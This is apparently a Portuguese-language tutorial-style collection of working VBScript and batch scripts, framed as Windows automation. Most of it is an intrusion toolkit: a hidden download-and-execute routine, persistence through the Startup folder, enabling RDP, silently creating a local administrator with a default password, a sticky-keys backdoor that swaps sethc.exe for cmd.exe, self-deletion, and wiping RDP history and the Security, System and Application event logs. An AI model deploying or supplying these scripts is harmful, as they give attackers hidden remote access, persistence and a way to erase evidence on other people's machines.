Esta coleção apresenta diversos exemlpos de scripts VBScript e arquivos batch (BAT) que demonstram funcionalidades variadas para automação e interação com o sistema operacional Windows. Os exemplos abrangem desde manipulação de navegadores até configurações de sistema e gerenciamento de arquivos.
Automação Web com VBScript
O VBScript pode ser uttilizado para interagir programaticamente com aplicações, como o Internet Explorer, para automatizar tarefas baseadas na web. O script a seguir ilustra como iniciar uma instância do navegador, navegar até uma URL específica e simular cliques em elementos da página.
Dim navegadorIE, elementoBotao
Set navegadorIE = CreateObject("InternetExplorer.Application")
navegadorIE.Visible = True ' Define se o navegador será visível ou executado em segundo plano
navegadorIE.Navigate "http://exemplo.com/pagina-interativa" ' Substitua pela URL desejada
Do ' Loop principal para interação contínua
Do ' Espera a página carregar completamente
WScript.Sleep 200
Loop Until navegadorIE.ReadyState = 4 ' ReadyState = 4 indica que o documento está "completo"
' Tenta localizar um elemento HTML pelo seu ID e clica nele
' Adapte o ID do elemento ("idDoBotao") conforme a estrutura da página web
Set elementoBotao = navegadorIE.Document.getElementById("idDoBotao")
If Not elementoBotao Is Nothing Then
elementoBotao.Click
WScript.Sleep 5000 ' Pausa de 5 segundos antes da próxima iteração
Else
' Mensagem de erro ou log caso o botão não seja encontrado
' WScript.Echo "Botão 'idDoBotao' não encontrado."
End If
Loop
Transferência e Execução de Arquivos
É possível utilizar VBScript para baixar arquivos de uma URL remota e executá-los localmente. Este processo envolve o uso de objetos COM como MSXML2.XMLHTTP para a requisição HTTP e ADODB.Stream para lidar com o fluxo de dados binários.
Dim httpReq, fileStream, shellObj
' Objeto para realizar requisições HTTP
Set httpReq = CreateObject("MSXML2.XMLHTTP")
httpReq.Open "GET", "http://exemplo.com/recurso.exe", False ' URL do arquivo a ser baixado
httpReq.Send()
' Verifica se a requisição foi bem-sucedida (Status 200 OK)
If httpReq.Status = 200 Then
Set fileStream = CreateObject("ADODB.Stream")
fileStream.Open
fileStream.Type = 1 ' Tipo binário
fileStream.Write httpReq.ResponseBody ' Escreve o conteúdo da resposta HTTP no stream
fileStream.Position = 0 ' Volta para o início do stream
fileStream.SaveToFile "arquivo_baixado.exe", 2 ' Salva o arquivo (2 = sobrescrever se existir)
fileStream.Close
Set fileStream = Nothing
End If
Set httpReq = Nothing
' Executa o arquivo baixado em segundo plano
Set shellObj = CreateObject("WScript.Shell")
' Os parâmetros de execução podem ser personalizados
' O '0' esconde a janela do programa, e 'TRUE' espera a conclusão
shellObj.Run "arquivo_baixado.exe -parametro1 valor1 -parametro2 valor2", 0, TRUE
Configuração de Autoinicialização
Para garantir que um script ou aplicação seja executado sempre que o sistema operacional iniciar, ele pode ser copiado para a pasta de inicialização do Windows. O VBScript oferece uma maneira simples de realizar essa persistência.
Dim fileSystemObj, shellUtil, startupPath, currentScript
' Objetos para manipulação de arquivos e acesso ao shell
Set fileSystemObj = CreateObject("Scripting.FileSystemObject")
Set shellUtil = CreateObject("WScript.Shell")
' Obtém o caminho completo do script atual
Set currentScript = fileSystemObj.GetFile(WScript.ScriptFullName)
' Obtém o caminho da pasta de inicialização do usuário atual
startupPath = shellUtil.SpecialFolders("Startup") & "\"
' Copia o script atual para a pasta de inicialização
currentScript.Copy startupPath
Gestão Avançada de Sistema com VBScript
O VBScript, em conjunto com WMI (Windows Management Instrumentation) e ADSI (Active Directory Service Interfaces), pode ser usado para realizar operações complexas no sistema, como habilitar o RDP, criar usuários administrativos e modificar componentes do sistema.
Habilitando o Protocolo de Área de Trabalho Remota (RDP)
A Área de Trabalho Remota pode ser habilitada e configurada através da modificação de chaves de registro específicas.
On Error Resume Next ' Ignora erros e continua a execução
Const HKEY_LOCAL_MACHINE = &H80000002
Dim strComputerName, objRegistry, regPath, valueName, dwordVal
strComputerName = "." ' O computador local
Set objRegistry = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _
strComputerName & "\root\default:StdRegProv")
' Habilita as conexões de Área de Trabalho Remota
regPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
valueName = "fDenyTSConnections"
dwordVal = 0 ' 0 = habilitado, 1 = desabilitado
objRegistry.SetDWORDValue HKEY_LOCAL_MACHINE, regPath, valueName, dwordVal
' Define a porta RDP para 3389 (padrão)
regPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
objRegistry.CreateKey HKEY_LOCAL_MACHINE, regPath ' Garante que a chave existe
valueName = "PortNumber"
dwordVal = 3389
objRegistry.SetDWORDValue HKEY_LOCAL_MACHINE, regPath, valueName, dwordVal
regPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
objRegistry.CreateKey HKEY_LOCAL_MACHINE, regPath ' Garante que a chave existe
valueName = "PortNumber"
objRegistry.SetDWORDValue HKEY_LOCAL_MACHINE, regPath, valueName, dwordVal
Criação de Usuário Administrativo Local
Um novo usuário local pode ser criado e adicionado ao grupo de administradores usando ADSI, sem a necessidade de comandos externos como net user.
On Error Resume Next
Dim newUsername, newPassword
' Define o nome de usuário e senha, ou os obtém dos argumentos do script
If WScript.Arguments.Count Then
newUsername = WScript.Arguments(0)
newPassword = WScript.Arguments(1)
Else
newUsername = "novo_admin" ' Nome de usuário padrão
newPassword = "SenhaForte123!" ' Senha padrão
End If
Dim networkInfo, computerDomain, computerObject, adminGroup, userObject, createdUser
Set networkInfo = CreateObject("WSCRIPT.NETWORK")
computerDomain = "WinNT://" & networkInfo.ComputerName
' Obtém o objeto do computador local
Set computerObject = GetObject(computerDomain)
' Cria um novo usuário
Set userObject = computerObject.Create("user", newUsername)
userObject.SetPassword newPassword
userObject.SetInfo ' Salva as alterações
' Adiciona o novo usuário ao grupo de administradores
Set adminGroup = GetObject(computerDomain & "/Administrators,group")
Set createdUser = GetObject(computerDomain & "/" & newUsername & ",user")
adminGroup.Add(createdUser.ADsPath)
Backdoor de Teclas de Aderência (Sticky Keys)
Esta técnica envolve a substituição do executável das Teclas de Aderência (sethc.exe) por outro programa (como cmd.exe), permitindo que um usuário acesse um prompt de comando com privilégios de sistema na tela de login, pressionando a tecla Shift cinco vezes.
On Error Resume Next
Dim shellObj, success
Set shellObj = CreateObject("WScript.Shell")
' Os comandos a seguir manipulam permissões e substituem o sethc.exe
success = shellObj.Run("cmd /c " & _
"takeown /f %SystemRoot%\system32\sethc.exe & " & _
"echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F & " & _
"copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe & " & _
"copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe & " & _
"del %SystemRoot%\system32\sethc.exe & " & _
"ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
' Explicação dos comandos:
' takeown: assume a propriedade do arquivo sethc.exe
' cacls: modifica as permissões para conceder controle total ao usuário atual
' copy: cria cópias de backup do sethc.exe e uma cópia do cmd.exe
' del: exclui o sethc.exe original
' ren: renomeia cmd.exe (copiado) para sethc.exe
Autoexclusão do Script
Para remover vestígios da execução, um script VBScript pode ser configurado para se autoexcluir após completar suas tarefas.
' Este comando deve ser a última linha de código relevante para garantir que o script se execute
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
Gerenciamento de Senha de Banco de Dados Access
VBScript pode ser utilizado para interagir com bancos de dados Microsoft Access via ADO (ActiveX Data Objects), inclusive para alterar ou remover senhas de arquivos MDB.
Dim scriptArgs, dbConnection, oldDbPassword, newDbPassword, connectionString
Set scriptArgs = WScript.Arguments
If scriptArgs.Count <> 1 Then
MsgBox "Uso: cscript script.vbs <caminho_do_arquivo.mdb>"
WScript.Quit
End If
Set dbConnection = CreateObject("ADODB.Connection")
' Defina a senha antiga do banco de dados (se houver)
' Exemplo de uma senha complexa: "SeCr3tP@ssw0rd!"
oldDbPassword = "Senha Antiga" ' Substitua pela senha real, se houver
' Defina a nova senha (deixe vazio para remover a senha)
newDbPassword = "NovaSenhaSegura" ' Substitua ou deixe "" para remover
connectionString = "Provider=Microsoft.Jet.OLEDB.4.0;" & _
"Data Source=" & scriptArgs(0) & ";" & _
"Mode=Share Deny None;" & _
"Persist Security Info=False;" & _
"Jet OLEDB:Database Password=" & oldDbPassword & ";"
On Error Resume Next ' Ignora erros para lidar com senhas incorretas
dbConnection.Open connectionString
If Err.Number <> 0 Then
MsgBox "Erro ao conectar ao banco de dados: " & Err.Description
WScript.Quit
End If
' Altera ou remove a senha do banco de dados
If newDbPassword <> "" Then
dbConnection.Execute("ALTER DATABASE Password [" & newDbPassword & "] [" & oldDbPassword & "]")
If Err.Number = 0 Then
MsgBox "Senha alterada com sucesso!"
Else
MsgBox "Erro ao alterar a senha: " & Err.Description
End If
Else
dbConnection.Execute("ALTER DATABASE Password Null [" & oldDbPassword & "]")
If Err.Number = 0 Then
MsgBox "Senha removida com sucesso!"
Else
MsgBox "Erro ao remover a senha: " & Err.Description
End If
End If
dbConnection.Close
MsgBox "Operação concluída."
Limpeza de Rastros de Uso
Arquivos batch podem ser usados para limpar vestígios de atividades do usuário, como o histórico de conexões da Área de Trabalho Remota ou logs de eventos do sistema.
Limpeza de Histórico de Conexão RDP
Remover o histórico de conexões RDP armazenado no registro e o arquivo de configuração padrão pode ajudar a limpar rastros de uso.
@echo off
rem Exclui chaves de registro do histórico de clientes RDP
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
rem Exclui o arquivo de configuração padrão de conexão RDP
del "%USERPROFILE%\Documents\Default.rdp" /a /f
exit
Limpeza de Logs de Eventos do Windows
Um script batch pode ser combinado com um VBScript gerado dinamicamente para limpar logs de eventos do Windows, como os de Aplicação, Segurença e Sistema, usando WMI.
@echo off
rem Atrasa a execução por 60 segundos. Use "timeout /t 60 /nobreak >nul" em sistemas modernos.
choice /t 60 /d y /n >nul
rem Cria um VBScript temporário para limpar os logs de eventos
echo On Error Resume Next > %TEMP%\clear_event_logs.vbs
echo Set wmiService = GetObject("winmgmts:\\.\root\cimv2") >> %TEMP%\clear_event_logs.vbs
echo Dim logTypes(2) >> %TEMP%\clear_event_logs.vbs
echo logTypes(0) = "Application" >> %TEMP%\clear_event_logs.vbs
echo logTypes(1) = "Security" >> %TEMP%\clear_event_logs.vbs
echo logTypes(2) = "System" >> %TEMP%\clear_event_logs.vbs
echo For Each logName In logTypes >> %TEMP%\clear_event_logs.vbs
echo Set eventLogs = wmiService.ExecQuery("SELECT * FROM Win32_NTEventLogFile WHERE LogFileName='"^&logName^&"'") >> %TEMP%\clear_event_logs.vbs
echo For Each eventLog In eventLogs >> %TEMP%\clear_event_logs.vbs
echo eventLog.ClearEventLog() >> %TEMP%\clear_event_logs.vbs
echo Next >> %TEMP%\clear_event_logs.vbs
echo Next >> %TEMP%\clear_event_logs.vbs
rem Executa o VBScript gerado
cscript //NoLogo %TEMP%\clear_event_logs.vbs
rem Exclui o VBScript temporário
del /f /q %TEMP%\clear_event_logs.vbs
rem Exclui o próprio script batch (autoexclusão)
del "%~f0"
exit